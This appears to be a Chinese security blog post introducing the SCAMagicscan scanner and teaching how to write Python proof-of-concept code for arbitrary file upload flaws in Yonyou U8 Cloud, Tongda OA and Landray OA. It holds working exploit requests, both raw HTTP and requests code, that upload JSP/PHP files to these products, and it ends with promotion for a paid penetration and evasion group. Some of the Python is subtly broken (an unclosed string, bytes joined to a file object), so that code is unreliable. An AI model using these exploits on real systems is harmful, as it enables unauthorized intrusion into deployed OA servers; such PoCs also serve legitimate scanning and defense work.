技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
0x02 SCAMagicscan简介
较于其他扫描器优点如下:
1、轻量化:运行命令简单,无太多繁琐指令需要学习
2、poc开源:poc不封装,直接可在pocs目录查看所有poc源码
3、扫描速度可观:支持自定义扫描线程,根据实际情况调整扫描速度
4、可拓展性强:无固定poc模板,支持各类漏洞poc自定义编写,不仅限与web漏洞
较于其他扫描器缺点如下:
1、界面设计粗糙:直男审美,以实用为主,忽略了界面的美观性
2、无漏洞描述:为了使其轻量化与工作简单化,并无漏洞的相关描述信息
3、延时注入扫描低并发:需要延时注入漏洞poc,需要调低线程数小于10,不然会产生大量漏报
0x04 上传漏洞poc编写
上传漏洞我根据poc编写的不同方式主要分为了三类:
1、post或get 参数中直接传递文件名和文件内容
2、常规上传单文件
3、上传zip压缩包
1、post或get 参数中直接传递文件名和文件内容
如:用友u8cloud-linux-任意文件上传漏洞,poc如下
POST /linux/pages/upload.jsp HTTP/1.1
Host: {{HostName}}
Content-Type:application/x-www-form-urlencoded
filename: test.jsp
<% out.println("test123"); new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>
此例中,上传文件名在headers里面的filename定义,上传内容直接为请求body值,则python的请求包则正常定义即可,如下
url=baseurl+f"linux/pages/upload.jsp"
headers = {
"Content-Type":"application/x-www-form-urlencoded",
"filename": "test.jsp"
}
data=f'''<% out.println("test123"); new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>'''
response=requests.post(url=url, headers=headers,data=data,verify=False,timeout=15)
2、常规上传单文件
如:通达-action_upload-任意文件上传漏洞,poc如下:
POST /module/ueditor/php/action_upload.php?action=uploadfile HTTP/1.1
Host:{{HostName}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydddddddd
X_requested_with: XMLHttpRequest
------WebKitFormBoundarydddddddd
Content-Disposition: form-data; name="CONFIG[fileFieldName]"
ffff
------WebKitFormBoundarydddddddd
Content-Disposition: form-data; name="CONFIG[fileMaxSize]"
1000000000
------WebKitFormBoundarydddddddd
Content-Disposition: form-data; name="CONFIG[filePathFormat]"
ssstest
------WebKitFormBoundarydddddddd
Content-Disposition: form-data; name="CONFIG[fileAllowFiles][]"
.php
------WebKitFormBoundarydddddddd
Content-Disposition: form-data; name="ffff"; filename="ssstest.php
Content-Type: application/octet-stream
<?php echo md5(123456);unlink(__FILE__);?>
------WebKitFormBoundarydddddd
Content-Disposition: form-data; name="mufile"
submit
------WebKitFormBoundarydddddd--
此例中,就是常规上传漏洞,content-type为multipart/form-data,上传文件名为ssstest,文件内容为php代码。定义请求url,和请求headers时,常规定义即可。定义请求body时,由于body换行,需要使用三个引号对body进行引用,每行以\r结尾,如下所示:
url=baseurl+"module/ueditor/php/action_upload.php?action=uploadfile"
headers={
'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundarydddddddd',
'X_requested_with': 'XMLHttpRequest'
}
body='''------WebKitFormBoundarydddddddd\r
Content-Disposition: form-data; name="CONFIG[fileFieldName]"
\r
ffff\r
------WebKitFormBoundarydddddddd\r
Content-Disposition: form-data; name="CONFIG[fileMaxSize]"\r
\r
1000000000\r
------WebKitFormBoundarydddddddd\r
Content-Disposition: form-data; name="CONFIG[filePathFormat]"\r
\r
ssstest\r
------WebKitFormBoundarydddddddd\r
Content-Disposition: form-data; name="CONFIG[fileAllowFiles][]"\r
\r
.php\r
------WebKitFormBoundarydddddddd\r
Content-Disposition: form-data; name="ffff"; filename="test.php"\r
Content-Type: application/octet-stream\r
\r
<?php echo md5(123456);unlink(__FILE__);?>\r
------WebKitFormBoundarydddddddd\r
Content-Disposition: form-data; name="mufile"\r
\r
submit\r
------WebKitFormBoundarydddddddd--\r'''
response=requests.post(url,body,headers=headers,timeout=5,verify=False)
3、上传压缩包
如蓝凌oa-sysUiComponent-任意文件上传漏洞,poc如下:
POST /sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo&s_ajax=true HTTP/1.1
Host: {{HostName}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 461
Content-Type: multipart/form-data; boundary=2b048d4d2d20e20e90541907976f0937
--2b048d4d2d20e20e90541907976f0937
Content-Disposition: form-data; name="file"; filename="test.zip"
Content-Type: application/x-zip-compressed
{{zip_content}}
--2b048d4d2d20e20e90541907976f0937--
此例中,上传压缩包后,服务端经过一系列处理,会解析压缩包中的jsp文件并执行,因此上传文件名和文件内容,都在压缩包内完成。上述poc中的{{zip_content}}即为压缩包的二进制字节流,大多数师傅就不知到该如何使用python定义请求body了,这里需要说明的是,requests的请求body数据类型即支持str字符串类型,也支持byte二进制字节流,因此可以将body部分转为二进制字节流即可,提供一下两种写法:
(1)使用requests的file参数,不用在headers里面添加Content-Type字段,file参数请求后会自动添加,如下:
url=baseurl+"sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo&s_ajax=true"
headers = {
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
"Accept-Encoding": "gzip",
}
files = {'file': (f'test.zip',open('test.zip','rb'), 'application/x-zip-compressed')}
response=requests.post(url,files=files,allow_redirects=False,headers=headers,verify=False,timeout=15)
(2)使用二进制字节流进行字符拼接,如下:
url=baseurl+"sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo&s_ajax=true"
headers = {
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
"Accept-Encoding": "gzip",
"Content-Type":"multipart/form-data; multipart/form-data; boundary=2b048d4d2d20e20e90541907976f0937
}
body = b'''--2b048d4d2d20e20e90541907976f0937\r
Content-Disposition: form-data; name="file"; filename="test.zip"\r
Content-Type: application/x-zip-compressed\r
\r
'''+open('test.zip','rb')+b'''\r
--2b048d4d2d20e20e90541907976f0937--'''
response=requests.post(url,body,allow_redirects=False,headers=headers,verify=False,timeout=15)
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
加入安全交流群
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读